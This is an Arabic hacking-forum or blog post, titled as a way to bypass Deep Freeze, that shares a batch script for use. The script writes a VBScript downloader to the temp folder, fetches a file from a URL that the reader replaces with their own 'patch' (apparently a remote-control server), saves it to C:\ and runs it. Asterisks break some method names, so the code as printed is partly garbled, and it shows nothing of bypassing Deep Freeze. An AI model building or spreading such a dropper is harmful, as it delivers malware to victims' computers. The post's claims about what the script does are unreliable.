تخطي الديب فريز

سلام عليكم يا أخوانى الكرام

اليوم جبتلكم كود تخطى الديب فريز

بدون مقدمات طويلة 

@echo off   
set file="مدونة تونسيا هاك"   
set dlto="C:\"   
::----------------   

if exist %temp%\dl.vbs del /q %temp%\dl.vbs   
echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs   
echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs   
echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs   
echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs   
echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs   
echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs   
echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs   
echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "" ) - 1 ) ) Then >> %temp%\dl.vbs   
echo strFile = myPath >> %temp%\dl.vbs   

echo Else >> %temp%\dl.vbs   
echo Exit Sub >> %temp%\dl.vbs   
echo End If >> %temp%\dl.vbs   
echo Set objFile = objFSO.Open****File( strFile, ForWriting, True ) >> %temp%\dl.vbs   
echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs   
echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs   
echo objHTTP.Send >> %temp%\dl.vbs   
echo For i = 1 To LenB( objHTTP.Response**** ) >> %temp%\dl.vbs   
echo objFile.Write Chr( AscB( MidB( objHTTP.Response****, i, 1 ) ) ) >> %temp%\dl.vbs   
echo Next >> %temp%\dl.vbs   
echo objFile.Close( ) >> %temp%\dl.vbs   
echo End Sub >> %temp%\dl.vbs   

start %temp%\dl.vbs

استبدل بدل "مدونة تونسيا هاك" بأسم باتشك
ولا تنسى امتداد bat